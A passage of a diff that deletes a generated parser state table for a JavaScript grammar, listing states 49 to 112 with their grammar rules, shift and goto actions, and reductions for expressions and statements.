- 100) UnaryExprNoBF : PostfixExprNoBF _
-
-  $default      reduce using rule 100 (UnaryExprNoBF)
-
-
-state 50
-
- 101) UnaryExprNoBF : UnaryExprCommon _
-
-  $default      reduce using rule 101 (UnaryExprNoBF)
-
-
-state 51
-
- 106) MultiplicativeExprNoBF : UnaryExprNoBF _
-
-  $default      reduce using rule 106 (MultiplicativeExprNoBF)
-
-
-state 52
-
- 107) MultiplicativeExprNoBF : MultiplicativeExprNoBF _ "*" UnaryExpr
- 108) MultiplicativeExprNoBF : MultiplicativeExprNoBF _ "/" UnaryExpr
- 109) MultiplicativeExprNoBF : MultiplicativeExprNoBF _ "%" UnaryExpr
- 113) AdditiveExprNoBF : MultiplicativeExprNoBF _
-
-  "*"           shift, and go to state 150
-  "/"           shift, and go to state 151
-  "%"           shift, and go to state 152
-  $default      reduce using rule 113 (AdditiveExprNoBF)
-
-
-state 53
-
- 114) AdditiveExprNoBF : AdditiveExprNoBF _ "+" MultiplicativeExpr
- 115) AdditiveExprNoBF : AdditiveExprNoBF _ "-" MultiplicativeExpr
- 120) ShiftExprNoBF : AdditiveExprNoBF _
-
-  "+"           shift, and go to state 153
-  "-"           shift, and go to state 154
-  $default      reduce using rule 120 (ShiftExprNoBF)
-
-
-state 54
-
- 121) ShiftExprNoBF : ShiftExprNoBF _ LSHIFT AdditiveExpr
- 122) ShiftExprNoBF : ShiftExprNoBF _ RSHIFT AdditiveExpr
- 123) ShiftExprNoBF : ShiftExprNoBF _ URSHIFT AdditiveExpr
- 137) RelationalExprNoBF : ShiftExprNoBF _
-
-  LSHIFT        shift, and go to state 155
-  RSHIFT        shift, and go to state 156
-  URSHIFT       shift, and go to state 157
-  $default      reduce using rule 137 (RelationalExprNoBF)
-
-
-state 55
-
- 138) RelationalExprNoBF : RelationalExprNoBF _ "<" ShiftExpr
- 139) RelationalExprNoBF : RelationalExprNoBF _ ">" ShiftExpr
- 140) RelationalExprNoBF : RelationalExprNoBF _ LE ShiftExpr
- 141) RelationalExprNoBF : RelationalExprNoBF _ GE ShiftExpr
- 142) RelationalExprNoBF : RelationalExprNoBF _ INSTANCEOF ShiftExpr
- 143) RelationalExprNoBF : RelationalExprNoBF _ IN ShiftExpr
- 154) EqualityExprNoBF : RelationalExprNoBF _
-
-  IN            shift, and go to state 163
-  INSTANCEOF    shift, and go to state 162
-  LE            shift, and go to state 160
-  GE            shift, and go to state 161
-  "<"           shift, and go to state 158
-  ">"           shift, and go to state 159
-  $default      reduce using rule 154 (EqualityExprNoBF)
-
-
-state 56
-
- 155) EqualityExprNoBF : EqualityExprNoBF _ EQEQ RelationalExpr
- 156) EqualityExprNoBF : EqualityExprNoBF _ NE RelationalExpr
- 157) EqualityExprNoBF : EqualityExprNoBF _ STREQ RelationalExpr
- 158) EqualityExprNoBF : EqualityExprNoBF _ STRNEQ RelationalExpr
- 163) BitwiseANDExprNoBF : EqualityExprNoBF _
-
-  EQEQ          shift, and go to state 164
-  NE            shift, and go to state 165
-  STREQ         shift, and go to state 166
-  STRNEQ        shift, and go to state 167
-  $default      reduce using rule 163 (BitwiseANDExprNoBF)
-
-
-state 57
-
- 164) BitwiseANDExprNoBF : BitwiseANDExprNoBF _ "&" EqualityExpr
- 169) BitwiseXORExprNoBF : BitwiseANDExprNoBF _
-
-  "&"           shift, and go to state 168
-  $default      reduce using rule 169 (BitwiseXORExprNoBF)
-
-
-state 58
-
- 170) BitwiseXORExprNoBF : BitwiseXORExprNoBF _ "^" BitwiseANDExpr
- 175) BitwiseORExprNoBF : BitwiseXORExprNoBF _
-
-  "^"           shift, and go to state 169
-  $default      reduce using rule 175 (BitwiseORExprNoBF)
-
-
-state 59
-
- 176) BitwiseORExprNoBF : BitwiseORExprNoBF _ "|" BitwiseXORExpr
- 181) LogicalANDExprNoBF : BitwiseORExprNoBF _
-
-  "|"           shift, and go to state 170
-  $default      reduce using rule 181 (LogicalANDExprNoBF)
-
-
-state 60
-
- 182) LogicalANDExprNoBF : LogicalANDExprNoBF _ AND BitwiseORExpr
- 187) LogicalORExprNoBF : LogicalANDExprNoBF _
-
-  AND           shift, and go to state 171
-  $default      reduce using rule 187 (LogicalORExprNoBF)
-
-
-state 61
-
- 188) LogicalORExprNoBF : LogicalORExprNoBF _ OR LogicalANDExpr
- 193) ConditionalExprNoBF : LogicalORExprNoBF _
- 194) ConditionalExprNoBF : LogicalORExprNoBF _ "?" AssignmentExpr ":" AssignmentExpr
-
-  OR            shift, and go to state 172
-  "?"           shift, and go to state 173
-  $default      reduce using rule 193 (ConditionalExprNoBF)
-
-
-state 62
-
- 199) AssignmentExprNoBF : ConditionalExprNoBF _
-
-  $default      reduce using rule 199 (AssignmentExprNoBF)
-
-
-state 63
-
- 217) ExprNoBF : AssignmentExprNoBF _
-
-  $default      reduce using rule 217 (ExprNoBF)
-
-
-state 64
-
- 218) ExprNoBF : ExprNoBF _ "," AssignmentExpr
- 239) ExprStatement : ExprNoBF _ ";"
- 240) ExprStatement : ExprNoBF _ error
-
-  error         shift, and go to state 176
-  ","           shift, and go to state 174
-  ";"           shift, and go to state 175
-
-
-state 65
-
- 219) Block : "{" _ SourceElements "}"
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  BREAK         shift, and go to state 74
-  CONST         shift, and go to state 67
-  CONTINUE      shift, and go to state 73
-  DEBUGGER      shift, and go to state 80
-  DELETE        shift, and go to state 40
-  DO            shift, and go to state 70
-  FOR           shift, and go to state 72
-  FUNCTION      shift, and go to state 81
-  IF            shift, and go to state 69
-  NEW           shift, and go to state 36
-  RETURN        shift, and go to state 75
-  SWITCH        shift, and go to state 77
-  THIS          shift, and go to state 28
-  THROW         shift, and go to state 78
-  TRY           shift, and go to state 79
-  TYPEOF        shift, and go to state 42
-  VAR           shift, and go to state 66
-  VOID          shift, and go to state 41
-  WHILE         shift, and go to state 71
-  WITH          shift, and go to state 76
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 31
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 65
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-  ";"           shift, and go to state 68
-  $default      reduce using rule 1 (SourceElements)
-
-  SourceElementList  go to state 2
-  SourceElement  go to state 3
-  FunctionDeclaration  go to state 4
-  Statement     go to state 5
-  Block         go to state 6
-  VariableStatement  go to state 7
-  ConstStatement  go to state 8
-  EmptyStatement  go to state 9
-  ExprStatement  go to state 10
-  IfStatement   go to state 11
-  IterationStatement  go to state 12
-  ContinueStatement  go to state 13
-  BreakStatement  go to state 14
-  ReturnStatement  go to state 15
-  WithStatement  go to state 16
-  SwitchStatement  go to state 17
-  LabelledStatement  go to state 18
-  ThrowStatement  go to state 19
-  TryStatement  go to state 20
-  DebuggerStatement  go to state 21
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExprNoBrace  go to state 34
-  MemberExprNoBF  go to state 35
-  CallExprNoBF  go to state 37
-  NewExprNoBF   go to state 38
-  LeftHandSideExprNoBF  go to state 39
-  PostfixExprNoBF  go to state 49
-  UnaryExprCommon  go to state 50
-  UnaryExprNoBF  go to state 51
-  MultiplicativeExprNoBF  go to state 52
-  AdditiveExprNoBF  go to state 53
-  ShiftExprNoBF  go to state 54
-  RelationalExprNoBF  go to state 55
-  EqualityExprNoBF  go to state 56
-  BitwiseANDExprNoBF  go to state 57
-  BitwiseXORExprNoBF  go to state 58
-  BitwiseORExprNoBF  go to state 59
-  LogicalANDExprNoBF  go to state 60
-  LogicalORExprNoBF  go to state 61
-  ConditionalExprNoBF  go to state 62
-  AssignmentExprNoBF  go to state 63
-  ExprNoBF      go to state 64
-  SourceElements  go to state 177
-
-state 66
-
- 220) VariableStatement : VAR _ VariableDeclarationList ";"
- 221) VariableStatement : VAR _ VariableDeclarationList error
-
-  IDENT         shift, and go to state 180
-
-  VariableDeclarationList  go to state 178
-  VariableDeclaration  go to state 179
-
-state 67
-
- 230) ConstStatement : CONST _ ConstDeclarationList ";"
- 231) ConstStatement : CONST _ ConstDeclarationList error
-
-  IDENT         shift, and go to state 183
-
-  ConstDeclarationList  go to state 181
-  ConstDeclaration  go to state 182
-
-state 68
-
- 238) EmptyStatement : ";" _
-
-  $default      reduce using rule 238 (EmptyStatement)
-
-
-state 69
-
- 241) IfStatement : IF _ "(" Expr ")" Statement
- 242) IfStatement : IF _ "(" Expr ")" Statement ELSE Statement
-
-  "("           shift, and go to state 184
-
-
-state 70
-
- 243) IterationStatement : DO _ Statement WHILE "(" Expr ")" ";"
- 244) IterationStatement : DO _ Statement WHILE "(" Expr ")" error
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  BREAK         shift, and go to state 74
-  CONST         shift, and go to state 67
-  CONTINUE      shift, and go to state 73
-  DEBUGGER      shift, and go to state 80
-  DELETE        shift, and go to state 40
-  DO            shift, and go to state 70
-  FOR           shift, and go to state 72
-  IF            shift, and go to state 69
-  NEW           shift, and go to state 36
-  RETURN        shift, and go to state 75
-  SWITCH        shift, and go to state 77
-  THIS          shift, and go to state 28
-  THROW         shift, and go to state 78
-  TRY           shift, and go to state 79
-  TYPEOF        shift, and go to state 42
-  VAR           shift, and go to state 66
-  VOID          shift, and go to state 41
-  WHILE         shift, and go to state 71
-  WITH          shift, and go to state 76
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 31
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 65
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-  ";"           shift, and go to state 68
-
-  Block         go to state 6
-  VariableStatement  go to state 7
-  ConstStatement  go to state 8
-  EmptyStatement  go to state 9
-  ExprStatement  go to state 10
-  IfStatement   go to state 11
-  IterationStatement  go to state 12
-  ContinueStatement  go to state 13
-  BreakStatement  go to state 14
-  ReturnStatement  go to state 15
-  WithStatement  go to state 16
-  SwitchStatement  go to state 17
-  LabelledStatement  go to state 18
-  ThrowStatement  go to state 19
-  TryStatement  go to state 20
-  DebuggerStatement  go to state 21
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExprNoBrace  go to state 34
-  MemberExprNoBF  go to state 35
-  CallExprNoBF  go to state 37
-  NewExprNoBF   go to state 38
-  LeftHandSideExprNoBF  go to state 39
-  PostfixExprNoBF  go to state 49
-  UnaryExprCommon  go to state 50
-  UnaryExprNoBF  go to state 51
-  MultiplicativeExprNoBF  go to state 52
-  AdditiveExprNoBF  go to state 53
-  ShiftExprNoBF  go to state 54
-  RelationalExprNoBF  go to state 55
-  EqualityExprNoBF  go to state 56
-  BitwiseANDExprNoBF  go to state 57
-  BitwiseXORExprNoBF  go to state 58
-  BitwiseORExprNoBF  go to state 59
-  LogicalANDExprNoBF  go to state 60
-  LogicalORExprNoBF  go to state 61
-  ConditionalExprNoBF  go to state 62
-  AssignmentExprNoBF  go to state 63
-  ExprNoBF      go to state 64
-  Statement     go to state 185
-
-state 71
-
- 245) IterationStatement : WHILE _ "(" Expr ")" Statement
-
-  "("           shift, and go to state 186
-
-
-state 72
-
- 246) IterationStatement : FOR _ "(" ExprNoInOpt ";" ExprOpt ";" ExprOpt ")" Statement
- 247) IterationStatement : FOR _ "(" VAR VariableDeclarationListNoIn ";" ExprOpt ";" ExprOpt ")" Statement
- 248) IterationStatement : FOR _ "(" LeftHandSideExpr IN Expr ")" Statement
- 249) IterationStatement : FOR _ "(" VAR IDENT IN Expr ")" Statement
- 250) IterationStatement : FOR _ "(" VAR IDENT InitializerNoIn IN Expr ")" Statement
-
-  "("           shift, and go to state 187
-
-
-state 73
-
- 255) ContinueStatement : CONTINUE _ ";"
- 256) ContinueStatement : CONTINUE _ error
- 257) ContinueStatement : CONTINUE _ IDENT ";"
- 258) ContinueStatement : CONTINUE _ IDENT error
-
-  error         shift, and go to state 189
-  IDENT         shift, and go to state 190
-  ";"           shift, and go to state 188
-
-
-state 74
-
- 259) BreakStatement : BREAK _ ";"
- 260) BreakStatement : BREAK _ error
- 261) BreakStatement : BREAK _ IDENT ";"
- 262) BreakStatement : BREAK _ IDENT error
-
-  error         shift, and go to state 192
-  IDENT         shift, and go to state 193
-  ";"           shift, and go to state 191
-
-
-state 75
-
- 263) ReturnStatement : RETURN _ ";"
- 264) ReturnStatement : RETURN _ error
- 265) ReturnStatement : RETURN _ Expr ";"
- 266) ReturnStatement : RETURN _ Expr error
-
-  error         shift, and go to state 196
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-  ";"           shift, and go to state 195
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 95
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 103
-  BitwiseANDExpr  go to state 104
-  BitwiseXORExpr  go to state 105
-  BitwiseORExpr  go to state 106
-  LogicalANDExpr  go to state 107
-  LogicalORExpr  go to state 108
-  ConditionalExpr  go to state 109
-  AssignmentExpr  go to state 110
-  Expr          go to state 194
-
-state 76
-
- 267) WithStatement : WITH _ "(" Expr ")" Statement
-
-  "("           shift, and go to state 197
-
-
-state 77
-
- 268) SwitchStatement : SWITCH _ "(" Expr ")" CaseBlock
-
-  "("           shift, and go to state 198
-
-
-state 78
-
- 278) ThrowStatement : THROW _ Expr ";"
- 279) ThrowStatement : THROW _ Expr error
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 95
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 103
-  BitwiseANDExpr  go to state 104
-  BitwiseXORExpr  go to state 105
-  BitwiseORExpr  go to state 106
-  LogicalANDExpr  go to state 107
-  LogicalORExpr  go to state 108
-  ConditionalExpr  go to state 109
-  AssignmentExpr  go to state 110
-  Expr          go to state 199
-
-state 79
-
- 280) TryStatement : TRY _ Block FINALLY Block
- 281) TryStatement : TRY _ Block CATCH "(" IDENT ")" Block
- 282) TryStatement : TRY _ Block CATCH "(" IDENT ")" Block FINALLY Block
-
-  "{"           shift, and go to state 65
-
-  Block         go to state 200
-
-state 80
-
- 283) DebuggerStatement : DEBUGGER _ ";"
- 284) DebuggerStatement : DEBUGGER _ error
-
-  error         shift, and go to state 202
-  ";"           shift, and go to state 201
-
-
-state 81
-
- 285) FunctionDeclaration : FUNCTION _ IDENT "(" ")" "{" FunctionBody "}"
- 286) FunctionDeclaration : FUNCTION _ IDENT "(" FormalParameterList ")" "{" FunctionBody "}"
-
-  IDENT         shift, and go to state 203
-
-
-state 82
-
-
-  $end          shift, and go to state 204
-
-
-state 83
-
-   4) SourceElementList : SourceElementList SourceElement _
-
-  $default      reduce using rule 4 (SourceElementList)
-
-
-state 84
-
- 277) LabelledStatement : IDENT ":" _ Statement
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  BREAK         shift, and go to state 74
-  CONST         shift, and go to state 67
-  CONTINUE      shift, and go to state 73
-  DEBUGGER      shift, and go to state 80
-  DELETE        shift, and go to state 40
-  DO            shift, and go to state 70
-  FOR           shift, and go to state 72
-  IF            shift, and go to state 69
-  NEW           shift, and go to state 36
-  RETURN        shift, and go to state 75
-  SWITCH        shift, and go to state 77
-  THIS          shift, and go to state 28
-  THROW         shift, and go to state 78
-  TRY           shift, and go to state 79
-  TYPEOF        shift, and go to state 42
-  VAR           shift, and go to state 66
-  VOID          shift, and go to state 41
-  WHILE         shift, and go to state 71
-  WITH          shift, and go to state 76
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 31
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 65
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-  ";"           shift, and go to state 68
-
-  Block         go to state 6
-  VariableStatement  go to state 7
-  ConstStatement  go to state 8
-  EmptyStatement  go to state 9
-  ExprStatement  go to state 10
-  IfStatement   go to state 11
-  IterationStatement  go to state 12
-  ContinueStatement  go to state 13
-  BreakStatement  go to state 14
-  ReturnStatement  go to state 15
-  WithStatement  go to state 16
-  SwitchStatement  go to state 17
-  LabelledStatement  go to state 18
-  ThrowStatement  go to state 19
-  TryStatement  go to state 20
-  DebuggerStatement  go to state 21
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExprNoBrace  go to state 34
-  MemberExprNoBF  go to state 35
-  CallExprNoBF  go to state 37
-  NewExprNoBF   go to state 38
-  LeftHandSideExprNoBF  go to state 39
-  PostfixExprNoBF  go to state 49
-  UnaryExprCommon  go to state 50
-  UnaryExprNoBF  go to state 51
-  MultiplicativeExprNoBF  go to state 52
-  AdditiveExprNoBF  go to state 53
-  ShiftExprNoBF  go to state 54
-  RelationalExprNoBF  go to state 55
-  EqualityExprNoBF  go to state 56
-  BitwiseANDExprNoBF  go to state 57
-  BitwiseXORExprNoBF  go to state 58
-  BitwiseORExprNoBF  go to state 59
-  LogicalANDExprNoBF  go to state 60
-  LogicalORExprNoBF  go to state 61
-  ConditionalExprNoBF  go to state 62
-  AssignmentExprNoBF  go to state 63
-  ExprNoBF      go to state 64
-  Statement     go to state 205
-
-state 85
-
-  36) PrimaryExpr : PrimaryExprNoBrace _
-
-  $default      reduce using rule 36 (PrimaryExpr)
-
-
-state 86
-
-  37) PrimaryExpr : "{" _ "}"
-  38) PrimaryExpr : "{" _ PropertyList "}"
-  39) PrimaryExpr : "{" _ PropertyList "," "}"
-
-  NUMBER        shift, and go to state 208
-  STRING        shift, and go to state 207
-  IDENT         shift, and go to state 206
-  "}"           shift, and go to state 211
-
-  Property      go to state 209
-  PropertyList  go to state 210
-
-state 87
-
-  43) PrimaryExprNoBrace : IDENT _
-
-  $default      reduce using rule 43 (PrimaryExprNoBrace)
-
-
-state 88
-
-  44) PrimaryExprNoBrace : "(" Expr _ ")"
- 214) Expr : Expr _ "," AssignmentExpr
-
-  ")"           shift, and go to state 212
-  ","           shift, and go to state 213
-
-
-state 89
-
-  54) MemberExpr : PrimaryExpr _
-
-  $default      reduce using rule 54 (MemberExpr)
-
-
-state 90
-
-  55) MemberExpr : FunctionExpr _
-
-  $default      reduce using rule 55 (MemberExpr)
-
-
-state 91
-
-  56) MemberExpr : MemberExpr _ "[" Expr "]"
-  57) MemberExpr : MemberExpr _ "." IDENT
-  63) NewExpr : MemberExpr _
-  67) CallExpr : MemberExpr _ Arguments
-
-  "("           shift, and go to state 119
-  "["           shift, and go to state 214
-  "."           shift, and go to state 215
-  $default      reduce using rule 63 (NewExpr)
-
-  Arguments     go to state 216
-
-state 92
-
-  58) MemberExpr : NEW _ MemberExpr Arguments
-  64) NewExpr : NEW _ NewExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 217
-  NewExpr       go to state 218
-
-state 93
-
-  68) CallExpr : CallExpr _ Arguments
-  69) CallExpr : CallExpr _ "[" Expr "]"
-  70) CallExpr : CallExpr _ "." IDENT
-  80) LeftHandSideExpr : CallExpr _
-
-  "("           shift, and go to state 119
-  "["           shift, and go to state 220
-  "."           shift, and go to state 221
-  $default      reduce using rule 80 (LeftHandSideExpr)
-
-  Arguments     go to state 219
-
-state 94
-
-  79) LeftHandSideExpr : NewExpr _
-
-  $default      reduce using rule 79 (LeftHandSideExpr)
-
-
-state 95
-
-  83) PostfixExpr : LeftHandSideExpr _
-  84) PostfixExpr : LeftHandSideExpr _ PLUSPLUS
-  85) PostfixExpr : LeftHandSideExpr _ MINUSMINUS
- 196) AssignmentExpr : LeftHandSideExpr _ AssignmentOperator AssignmentExpr
-
-  PLUSPLUS      shift, and go to state 222
-  MINUSMINUS    shift, and go to state 223
-  PLUSEQUAL     shift, and go to state 129
-  MINUSEQUAL    shift, and go to state 130
-  MULTEQUAL     shift, and go to state 131
-  DIVEQUAL      shift, and go to state 132
-  LSHIFTEQUAL   shift, and go to state 133
-  RSHIFTEQUAL   shift, and go to state 134
-  URSHIFTEQUAL  shift, and go to state 135
-  ANDEQUAL      shift, and go to state 136
-  MODEQUAL      shift, and go to state 139
-  XOREQUAL      shift, and go to state 137
-  OREQUAL       shift, and go to state 138
-  "="           shift, and go to state 128
-  $default      reduce using rule 83 (PostfixExpr)
-
-  AssignmentOperator  go to state 224
-
-state 96
-
-  98) UnaryExpr : PostfixExpr _
-
-  $default      reduce using rule 98 (UnaryExpr)
-
-
-state 97
-
-  99) UnaryExpr : UnaryExprCommon _
-
-  $default      reduce using rule 99 (UnaryExpr)
-
-
-state 98
-
- 102) MultiplicativeExpr : UnaryExpr _
-
-  $default      reduce using rule 102 (MultiplicativeExpr)
-
-
-state 99
-
- 103) MultiplicativeExpr : MultiplicativeExpr _ "*" UnaryExpr
- 104) MultiplicativeExpr : MultiplicativeExpr _ "/" UnaryExpr
- 105) MultiplicativeExpr : MultiplicativeExpr _ "%" UnaryExpr
- 110) AdditiveExpr : MultiplicativeExpr _
-
-  "*"           shift, and go to state 225
-  "/"           shift, and go to state 226
-  "%"           shift, and go to state 227
-  $default      reduce using rule 110 (AdditiveExpr)
-
-
-state 100
-
- 111) AdditiveExpr : AdditiveExpr _ "+" MultiplicativeExpr
- 112) AdditiveExpr : AdditiveExpr _ "-" MultiplicativeExpr
- 116) ShiftExpr : AdditiveExpr _
-
-  "+"           shift, and go to state 228
-  "-"           shift, and go to state 229
-  $default      reduce using rule 116 (ShiftExpr)
-
-
-state 101
-
- 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr
- 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr
- 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr
- 124) RelationalExpr : ShiftExpr _
-
-  LSHIFT        shift, and go to state 230
-  RSHIFT        shift, and go to state 231
-  URSHIFT       shift, and go to state 232
-  $default      reduce using rule 124 (RelationalExpr)
-
-
-state 102
-
- 125) RelationalExpr : RelationalExpr _ "<" ShiftExpr
- 126) RelationalExpr : RelationalExpr _ ">" ShiftExpr
- 127) RelationalExpr : RelationalExpr _ LE ShiftExpr
- 128) RelationalExpr : RelationalExpr _ GE ShiftExpr
- 129) RelationalExpr : RelationalExpr _ INSTANCEOF ShiftExpr
- 130) RelationalExpr : RelationalExpr _ IN ShiftExpr
- 144) EqualityExpr : RelationalExpr _
-
-  IN            shift, and go to state 238
-  INSTANCEOF    shift, and go to state 237
-  LE            shift, and go to state 235
-  GE            shift, and go to state 236
-  "<"           shift, and go to state 233
-  ">"           shift, and go to state 234
-  $default      reduce using rule 144 (EqualityExpr)
-
-
-state 103
-
- 145) EqualityExpr : EqualityExpr _ EQEQ RelationalExpr
- 146) EqualityExpr : EqualityExpr _ NE RelationalExpr
- 147) EqualityExpr : EqualityExpr _ STREQ RelationalExpr
- 148) EqualityExpr : EqualityExpr _ STRNEQ RelationalExpr
- 159) BitwiseANDExpr : EqualityExpr _
-
-  EQEQ          shift, and go to state 239
-  NE            shift, and go to state 240
-  STREQ         shift, and go to state 241
-  STRNEQ        shift, and go to state 242
-  $default      reduce using rule 159 (BitwiseANDExpr)
-
-
-state 104
-
- 160) BitwiseANDExpr : BitwiseANDExpr _ "&" EqualityExpr
- 165) BitwiseXORExpr : BitwiseANDExpr _
-
-  "&"           shift, and go to state 243
-  $default      reduce using rule 165 (BitwiseXORExpr)
-
-
-state 105
-
- 166) BitwiseXORExpr : BitwiseXORExpr _ "^" BitwiseANDExpr
- 171) BitwiseORExpr : BitwiseXORExpr _
-
-  "^"           shift, and go to state 244
-  $default      reduce using rule 171 (BitwiseORExpr)
-
-
-state 106
-
- 172) BitwiseORExpr : BitwiseORExpr _ "|" BitwiseXORExpr
- 177) LogicalANDExpr : BitwiseORExpr _
-
-  "|"           shift, and go to state 245
-  $default      reduce using rule 177 (LogicalANDExpr)
-
-
-state 107
-
- 178) LogicalANDExpr : LogicalANDExpr _ AND BitwiseORExpr
- 183) LogicalORExpr : LogicalANDExpr _
-
-  AND           shift, and go to state 246
-  $default      reduce using rule 183 (LogicalORExpr)
-
-
-state 108
-
- 184) LogicalORExpr : LogicalORExpr _ OR LogicalANDExpr
- 189) ConditionalExpr : LogicalORExpr _
- 190) ConditionalExpr : LogicalORExpr _ "?" AssignmentExpr ":" AssignmentExpr
-
-  OR            shift, and go to state 247
-  "?"           shift, and go to state 248
-  $default      reduce using rule 189 (ConditionalExpr)
-
-
-state 109
-
- 195) AssignmentExpr : ConditionalExpr _
-
-  $default      reduce using rule 195 (AssignmentExpr)
-
-
-state 110
-
- 213) Expr : AssignmentExpr _
-
-  $default      reduce using rule 213 (Expr)
-
-
-state 111
-
- 287) FunctionExpr : FUNCTION _ "(" ")" "{" FunctionBody "}"
- 288) FunctionExpr : FUNCTION _ "(" FormalParameterList ")" "{" FunctionBody "}"
- 289) FunctionExpr : FUNCTION _ IDENT "(" ")" "{" FunctionBody "}"
- 290) FunctionExpr : FUNCTION _ IDENT "(" FormalParameterList ")" "{" FunctionBody "}"
-
-  IDENT         shift, and go to state 250
-  "("           shift, and go to state 249
-
-
-state 112
-
-  45) ArrayLiteral : "[" ElisionOpt _ "]"
-  48) ElementList : ElisionOpt _ AssignmentExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "]"           shift, and go to state 251
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  AssignmentExpr  go to state 252
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 95
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
